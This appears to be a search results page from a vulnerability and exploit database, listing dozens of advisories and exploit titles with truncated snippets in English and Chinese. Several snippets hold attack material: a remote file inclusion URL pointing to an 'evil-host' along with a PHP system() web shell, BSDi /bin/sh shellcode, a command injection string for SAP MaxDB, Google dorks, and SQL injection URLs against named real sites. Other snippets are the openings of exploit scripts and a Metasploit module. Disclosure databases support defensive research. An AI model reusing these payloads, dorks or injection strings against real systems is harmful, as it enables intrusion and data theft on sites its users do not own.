56796 matches found
CA BrightStor Backup 11.5.2.0 (Mediasvr.exe) Remote Code Exploit
No description provided by source. !/usr/bin/python Computer Associates CA Brightstor Backup Mediasvr.exe Remote Code Exploit Previously Unknown There seems to be an design error in the handling of RPC data with xdr procedures across several .dll's imported by Mediasvr.exe. Four bytes from an RPC...
ocPortal 1.0.3 Remote File Inclusion
No description provided by source. http://localhost/ocp-103/index.php?reqpath=http ://evil-host/ On your evil host you must put scipt funcs.php. Example of funcs.php if your host doesn't support php. ?php $com = $GET"com"; system "$com"; ? Example of funcs.php if your host support php. ?php echo...
HTTP协议栈远程代码执行漏洞（CVE-2021-31166）
...
Open Distro for Elasticsearch SSRF漏洞（CVE-2021-31828）
SSRF in Open Distro for Elasticsearch CVE-2021-31828 Rotem Bar Published on May 11, 2021 7 min read After an interesting adventure, it's now possible to announce a new CVE-2021-31828 which effects Open Distro for ElasticSearch ODFE , versions until 1.12.0.2. Open Distro is a plugin for...
Insteon Hub PubNub control Channel Message Handler Code Execution Vulnerabilities(CVE-2017-14452~CVE-2017-14455)
Summary Multiple exploitable buffer overflow vulnerabilities exists in the PubNub message handler for the "control" channel of Insteon Hub running firmware version 1012. Specially crafted replies received from the PubNub service can cause buffer overflows on a global section overwriting arbitrary...
QNAP QTS Unauthenticated Remote Code Execution(CVE-2017-17033)
Vulnerability Summary The following advisory describes a memory corruption vulnerability that can lead to an unauthenticated remote code execution in QNAP QTS versions 4.3.x and 4.2.x, including the 4.3.3.0299. QNAP Systems, Inc. “specializes in providing networked solutions for file sharing,...
ESnet iPerf3 JSON parse_string UTF Code Execution Vulnerability(CVE-2016-4303)
DESCRIPTION An exploitable remote code execution vulnerability exists in the JSON handling functionality of ESnet iPerf3. A specially crafted JSON string can lead to buffer overflow on the heap resulting in remote code execution. An attacker can send an unauthenticated packet to any reachable...
Xen: broken check in memory_exchange() permits PV guest breakout（CVE-2017-7228）
Detailed analysis: Pandavirtualization: Exploiting the Xen hypervisor This bug report describes a vulnerability in memoryexchange that permits PV guest kernels to write to an arbitrary virtual address with the hypervisor privileges. The vulnerability was introduced through a broken fix for...
AMF3 Java implementations deserialization Vulnerability
Details reference: https://codewhitesec.blogspot.kr/2017/04/amf.html Some Java implementations of AMF3 deserializers derive class instances from java. io. Externalizable rather than the AMF3 specification's recommendation of a flash. utils. IExternalizable. A remote attacker with the ability to...
Mozilla Firefox Use-After-Free（CVE-2016-9899）
No description provided by source. -- body background-color:lime; font-color:red; ; / Mozilla Firefox 50.1.0 Use-After-Free POC Author: Marcin Ressel Date: 13.01.2017 Vendor Homepage: www.mozilla.org Software Link: https://ftp.mozilla.org/pub/firefox/releases/50.0.2/ Version: 50.1.0 Tested on:...
PhpMyAdmin 4.3.0—4.6.2 authorized users remote command execution vulnerability
Problem source code part in PMA 4.6.2: - libraries/controllers/table/TableSearchController.php:708: php 708: private function getRegexReplaceRows ... 727: if isarray$result 728: foreach $result as $index=$row 729: $result$index1 = pregreplace 730: "/" . $find . "/", 731: $replaceWith, 732: $row0...
西门子S7-300存在权限绕过漏洞
No description provided by source...
正方教务管理各个版本无条件注入导致敏感信息泄露
简要描述： 正方各个版本无条件注入导致大量学生的敏感信息泄露 详细说明： 漏洞证明： 刚刚忘了把站贴上来了，下面几个只是冰山一角 http://.../fn55wdyilcrlce55nybn5fis/default2.aspx Heron1990@ng http://.../...
eyou某服务器OPENSSL漏洞(影响大量网站邮箱系统)
简要描述： 详细说明： 118.194.236.38 Connecting... Sending Client Hello... Waiting for Server Hello... ... received message: type = 22, ver = 0302, length = 66 ... received message: type = 22, ver = 0302, length = 770 ... received message: type = 22, ver = 0302, length = 203 ... received message: type = 22...
某通用型大学生管理系统非授权访问
简要描述： 1操作手册泄漏测试用户及密码 2非授权访问，可直接获取系统内所有用户关键信息 3一枚任意文件上传漏洞 详细说明： 注意与其不同 WooYun: 某通用型创新管理系统普通帐号可越权查看及修改任意用户（影响多所高等院校） 官网：http://www.changedu.com/ 由南京先极科技有限公司开发的大学生创新创业训练项目智能管理系统 关键字：大学生创新创业项目智能管理系统 影响案例： http://desktop.nju.edu.cn/cx/ 南京大学大学生创新创业训练智能管理系统 http://dxscx.forestpolice.net/...
JEECMS任意命令执行漏洞（涉及大量案例，Administrator权限）
简要描述： JEECMS任意命令执行漏洞（涉及大量案例，Administrator权限） 详细说明： 谷歌搜索：inurl:jeecms/ArtiSearch.do 涉及大量案例 http://www.wwxzfw.gov.cn/jeecms/ArtiSearch.do?count=10&searchKey=a%27+and+1%3D1&chnlId= http://www.cnfamily.com/family/jeecms/ArtiSearch.do?count=10&searchKey=%C1%BD%BB%E1...
Linux Kernel <= 3.13 - Local Privilege Escalation PoC (gid)
No description provided by source. / CVE-2014-4014 Linux Kernel Local Privilege Escalation PoC Vitaly Nikolenko http://hashcrack.org Usage: ./poc filepath where filepath is the file on which you want to set the sgid bit / define GNUSOURCE include sys/wait.h include sched.h include stdio.h include...
N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability
No description provided by source. N/X - Web CMS N/X WCMS 4.5 Multiple Vulnerability =================================================== 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 1 1 /' \ /'\ /\ \ /'\ 0 0 /, \ /\/\ \ \ \ \ ,/\ /\ \ 1 1 //\ \ /' \ /\ //\ /'...
phpliteadmin <= 1.9.3 - Remote PHP Code Injection Vulnerability
No description provided by source. Exploit Title: phpliteadmin = 1.9.3 Remote PHP Code Injection Vulnerability Google Dork: inurl:phpliteadmin.php Default PW: admin Date: 01/10/2013 Exploit Author: L@usch - http://la.usch.io - http://la.usch.io/files/exploits/phpliteadmin-1.9.3.txt Vendor Homepag...
PHP Hashtables Denial of Service
No description provided by source. Exploit Title: CVE-2011-4885 PHP Hashtables Denial of Service Exploit Date: 1/1/12 Author: infodox Software Link: php.net Version: 5.3. Tested on: Linux CVE : CVE-2011-4885 Exploit Download -- http://infodox.co.cc/Downloads/phpdos.txt ?php / PHP 5.3. Hash...
MyAlbum <= 3.02 (language.inc.php) Remote File Inclusion Vulnerability
No description provided by source. ============================================================================================== MyAlbum = 3.02 langsdir Remote File Inclusion Vulnerability =============================================================================================== Critical...
IBM AIX <= 5.3 sp6 capture Terminal Sequence Local Root Exploit
No description provided by source. / 07/2007: public release IBM AIX = 5.3 sp6 AIX capture Local Root Exploit By qaaz / include stdio.h include stdlib.h include string.h include fcntl.h include unistd.h include sys/wait.h include sys/select.h define TARGET /usr/bin/capture define VALCNT 40 define...
pmaPWN! - phpMyAdmin Code Injection RCE Scanner & Exploit
No description provided by source. ?php $list = array '/phpmyadmin/', '/phpMyAdmin/', '/PMA/', '/pma/', '/admin/', '/dbadmin/', '/mysql/', '/myadmin/', '/phpmyadmin2/', '/phpMyAdmin2/', '/phpMyAdmin-2/', '/php-my-admin/', '/phpMyAdmin-2.2.3/', '/phpMyAdmin-2.2.6/', '/phpMyAdmin-2.5.1/',...
Konqueror 4.7.3 Memory Corruption
No description provided by source. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 Nth Dimension Security Advisory NDSA20121010 Date: 10th October 2012 Author: Tim Brown mailto:[email protected] URL: http://www.nth-dimension.org.uk/ / http://www.machine.org.uk/ Product: Konqueror 4.7.3...
Java Applet Driver Manager Privileged toString() Remote Code Execution
No description provided by source. This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit web site for more information on licensing and terms of use. http://metasploit.com/ require 'msf/core' require 'rex' class...
PHPEMS (在线考试系统) 设计缺陷 Getshell一枚(官网已shell)
简要描述： 号称是最好用的开源php考试系统? 果断来看看。 已拿下官网。 详细说明： PHPEMS整合了uc。 在api/config.inc.php中 define'UCCONNECT', 'mysql'; define'UCDBHOST', 'localhost'; define'UCDBUSER', 'root'; define'UCDBPW', 'root'; define'UCDBNAME', 'ucenter16'; define'UCDBCHARSET', 'utf8'; define'UCDBTABLEPRE', 'ucenter16.uc';...
IBM Lotus Domino RPC操作拒绝服务漏洞
Bugtraq ID: 51167 CVE ID：CVE-2011-1393 IBM Lotus Domino服务器是一款基于WEB合作的应用程序架构。 IBM Lotus Domino处理某些RPC操作存在错误，可被利用进行拒绝服务攻击。 远程攻击者可以提交特制的Notes客户端报文使Lotus Domino服务器崩溃。 0 IBM Lotus Domino 8.5.2 IBM Lotus Domino 8.5 IBM Lotus Domino 8.0.2 Fix Pack 5 IBM Lotus Domino 8.0.2 IBM Lotus Domino 8.5.2 FP3 IBM...
Red Hat Linux Kernel VLAN报文处理远程拒绝服务漏洞
Bugtraq ID: 48907 CVE ID：CVE-2011-1576 Red Hat是一款基于linux内核的发行版本。 napireuseskb函数仅用于GRO的报文合并，如果用于VLAN路径可导致内存泄露/破坏。远程攻击者可以利用此漏洞使内核崩溃。 RedHat Enterprise Linux 5 server Red Hat Enterprise Virtualization Hypervisor for RHEL 5 0 Red Hat Enterprise Linux Desktop 5 client OpenVZ Project OpenVZ 028stab091....
Microsoft Excel Office Art远程代码执行漏洞(MS11-021)
BUGTRAQ ID: 47226 CVE ID: CVE-2011-0979 Microsoft Excel是由Microsoft为Windows和Apple Macintosh操作系统的电脑而编写和运行的一款试算表软件。 Microsoft Excel在实现上存在缓冲区溢出漏洞，远程攻击者可利用此漏洞以当前用户权限执行任意代码，造成拒绝服务。 Microsoft Office Excel处理特制Excel文件的方式中存在一个远程执行代码漏洞，成功利用此漏洞的攻击者便可完全控制受影响的系统。攻击者可随后安装程序；查看、更改或删除数据；或者创建拥有完全用户权限的新帐户 Microsoft...
Red Hat证书系统代理组安全绕过漏洞
Bugraq ID: 35104 CVE ID：CVE-2009-0588 CNCVE ID：CNCVE-20090588 Red Hat Certificate System是一款认证系统，提供强大的安全框架来确保用户的身份以及通讯的私密性。 Red Hat Certificate System处理多个代理组时存在错误，远程攻击者可以利用漏洞绕过安全限制，允许代理组在任意队列中批准或拒绝证书。 Red Hat registration authority注册授权是Red Hat证书系统子系统的选项，用于验证和处理注册请求，PIN重置请求和格式化请求。 Robert Mead of...
ZaoCMS (user_updated.php) Remote Change Password Exploit
No description provided by source. form action="http://demo.zaocms.com/admin/modules/Users/userupdated.php" method="post" onsubmit="return checkFormthis;" id=form1 Name=form1 h2Cod3 By ThE g0bL!N ZaoCMS Remote Change Password /h2 tittle ThE g0bL!N/tittle table cellSpacing="0" cellPadding="0"...
w3blabor CMS 3.0.5 Arbitrary File Upload & LFI Exploit
No description provided by source. !/usr/bin/perl use LWP::UserAgent; use HTTP::Request::Common qwPOST; use Getopt::Long; '/ -.- ------------------oOO------OOo----------------- | | | / / / / | | / / / / / / / / / / / | | // // / / / // / // / // | | ///,// /./,/, // | | Security Research...
FREEsimplePHPguestbook (guestbook.php) Remote Code Execution Vulnerability
No description provided by source. | | | \ \ \ / / / \ / | / | / | | | | | | \ V / / \ | | | | | | | | | | | / \ | || | | | | | || || \ || // \ | | | FREEsimplePHPguestbook guestbook.php Remote Code Execution Vulnerability Get Script : http://www.sanusart.com/php/FREEsimplePHPguestbook.zip...
YourFreeWorld Downline Builder (id) Remote SQL Injection Vulnerability
No description provided by source. Downline Builder id Remote SQL Injection Vulnerability Author: Hussin X Home : www.IQ-TY.com & www.TrYaG.cc script : http://www.yourfreeworld.com/script/downlinebuilder.php DorK : inurl:tr.php?id= Downline Exploit :...
Count.cgi(wwwcount)远程缓冲区溢出漏洞
BugCVE: CVE-1999-0021 BUGTRAQ: 128 Count.cgi wwwcount是一个非常流行的Web站点跟踪统计CGI程序。一般它作为Web页面点击数统计。1997年10月，这个程序被发现了两个远程漏洞。第一个漏洞比较轻微，它能允许远程用户浏览到受限制的.GIF文件，可能泄漏.GIF文件里潜在的敏感数据。 第二个漏洞比较严重，count.cgi程序在处理QUERYSTRING环境变量的时候存在缓冲区溢出漏洞。远程攻击者可以发送一个超长的请求给程序就能进行溢出攻击，以Web用户的权限在系统执行任意命令。 2.3 Muhammad A. Muquit...
Simple PHP Blog (SPHPBlog) <= 0.5.1 Code Execution Exploit
No description provided by source. ? / sIMPLE php bLOG 0.5.0 eXPLOIT bY mAXzA 2008 / function curl$url,$postvar global $cook; $ch = curlinit $url ; curlsetopt $ch, CURLOPTRETURNTRANSFER, 1; curlsetopt $ch, CURLOPTHEADER, 1; curlsetopt $ch, CURLOPTREFERER,"$url"; if strlen$postvar3 $postvar="123";...
SAP MaxDB cons.exe远程命令注入漏洞
BUGTRAQ ID: 27206 MaxDB是SAP应用中广泛使用的数据库管理系统。 MaxDB在处理用户请求数据时存在输入验证漏洞，远程攻击者可能利用此漏洞在服务器上执行任意命令。 如果未经认证的远程攻击者执行了show或execsdbinfo等特殊命令的话，MaxDB服务器就会通过system执行cons.exe DATABASE COMMAND，而使用system执行cons程序允许外部攻击者通过传送&&或其他方式在服务器上执行任意命令。例如，可使用以下SAP命令查看Windows上C盘的内容： execsdbinfo && echo dir c:\ | cmd.exe SAP...
Joomla Component Nice Talk <= 0.9.3 (tagid) SQL Injection Vulnerability
No description provided by source. Title : Joomla Component Nice Talk = 0.9.3 tagid Remote Blind SQL Injection Vulnerability Author : ajann Contact : : S.Page : http://www.azrul.com $$ : ?? Dork : inurl:index.php?option=comnicetalk DorkEx :...
Gimp SUNRAS插件set_color_table()缓冲区溢出漏洞
GIMP是GNU Image Manipulation Program（GNU图像处理程序）的缩写，是一款跨平台的图像处理软件。 GIMP的SUNRAS插件处理还有畸形数据的RAS文件时存在缓冲区溢出漏洞，远程攻击者可能利用此漏洞控制用户机器。 SUNRAS插件中setcolortable函数中存在栈溢出漏洞，plug-ins/common/sunras.c文件中漏洞代码如下： int ncols, j; guchar ColorMap2563; ncols = sunhdr-lrasmaplength / 3; if ncols = 0 return; for j = 0; j...
EsForum 3.0 (forum.php idsalon) Remote SQL Injection Vulnerability
No description provided by source. ------------------------------------------------------------------------------------------------------------------- AYYILDIZ.ORG PreSents... Script: EsForum 3.0 Script Download: http://www.editeurscripts.com/scripts/dl-esforum-3.html Contact: ilker Kandemir...
Microsoft Help Workshop .HPJ文件缓冲区溢出漏洞
Microsoft Help Workshop是一款用于构建和管理帮助对象的应用工具。 Microsoft Help Workshop处理畸形.hpj文件存在问题，远程攻击者可以利用漏洞以应用程序进程权限执行任意指令。 问题存在于'OPTIONS'段中的'HLP'字段中的文件路径变量HelpFilePathString01缺少正确的边界条件检查，当字符串长度超过256字节，程序可导致缓冲区溢出。攻击者构建一个恶意.hpj文件，当使用Microsoft Help Workshop处理时可导致缓冲区溢出，精心构建提交数据可能以应用程序进程权限执行任意指令。 Microsoft Help...
phparticle v2.11本地包含漏洞
phparticle一直是一个很好的文章系统，我从前都是拿phparticle的代码来学习php，而且它的代码也一直以安全著称，尽管发现的是个很普通的漏洞，但能有幸发现pa漏洞还是很开心的。 首先看phparticle的index.php代码 errorreporting7; require "global.php"; if!$GET'mod' $GET'mod' = 'index'; if!include "modules/default/$GETmod.php" echo "error:data/modules/default/$GETmod.php";exit; ?...
perForms Mambo Component <= 1.0 Remote File Inclusion
No description provided by source. ------------------------------------------------------------------------ --- perForms = 1.0 mosConfigabsolutepath Remote File Inclusion ------------------------------------------------------------------------ --- Remote : Yes Critical Level : High Vuln founded i...
WordPress <= 1.5.1.1 ""add new admin"" SQL Injection Exploit
No description provided by source. !/usr/bin/perl WordPress = 1.5.1.1 sql injection "add new admin" exploit by RST/GHC , http://rst.void.ru , http://ghc.ru coded by 1dt.w0lf use LWP::UserAgent; use Getopt::Std; use HTTP::Cookies; use Digest::MD5 qwmd5hex; getopts'h:p:'; $path = $opth; $pref = $op...
bsdi/x86 execve /bin/sh 46 bytes
No description provided by source. / BSDi execve of /bin/sh by v9 [email protected] / static char exec= "\xeb\x1f\x5e\x31\xc0\x89\x46\xf5\x88\x46\xfa\x89\x46\x0c" / 14 characters. / "\x89\x76\x08\x50\x8d\x5e\x08\x53\x56\x56\xb0\x3b\x9a\xff" / 14 characters. /...
Ichano AtHome IP Cameras Multiple Vulnerabilities
Vulnerabilities Summary The following advisory describes three 3 vulnerabilities found in Ichano IP Cameras. AtHome Camera is “a remote video surveillance app which turns your personal computer, smart TV/set-top box, smart phone, and tablet into a professional video monitoring system in a minute....
TPshop 前台SQL注入#2
0x01 说明 TPshop开源商城系统 Thinkphp shop的简称 ，是深圳搜豹网络有限公司开发的一套多商家模式的商城系统。适合企业及个人快速构建个性化网上商城。包含PC+IOS客户端+Adroid客户端+微商城，系统PC+后台是基于ThinkPHP5 MVC构架开发的跨平台开源软件，设计得非常灵活，具有模块化架构体系和丰富的功能，易于与第三方应用系统无缝集成，在设计上，包含相当全面，以模块化架构体系，让应用组合变得相当灵活，功能也相当丰富。 下载地址：http://www.tp-shop.cn/Index/Index/download.html 目录大概结构 ├─index.p...
LibTIFF PixarLogDecode Remote Code Execution Vulnerability(CVE-2016-5875)
Summary An exploitable heap based buffer overflow exists in the handling of compressed TIFF images in LibTIFF's PixarLogDecode api. A crafted TIFF document can lead to a heap based buffer overflow resulting in remote code execution. The vulnerability can be triggered through any user controlled...
systemd CVE-2017-9445 Out-Of-Bounds Write Remote Code Execution Vulnerability
Vulnerability description Canonical's Ubuntu developer Chris Coulson found a critical vulnerability, you can use it to remotely attack run popular of the operating system of the machine. The vulnerability number CVE-2017-9445 located in the Systemd init system and service manager . A remote...
MS16-104: Internet Explorer URL files Security Feature Bypass (CVE-2016-3353)
On September 13th, 2016 Microsoft released security bulletin MS16-104 1, which addresses several vulnerabilities affecting Internet Explorer. One of those vulnerabilities is CVE-2016-3353, a security feature bypass bug in the way .URL files are handled. This security issue does not allow for remo...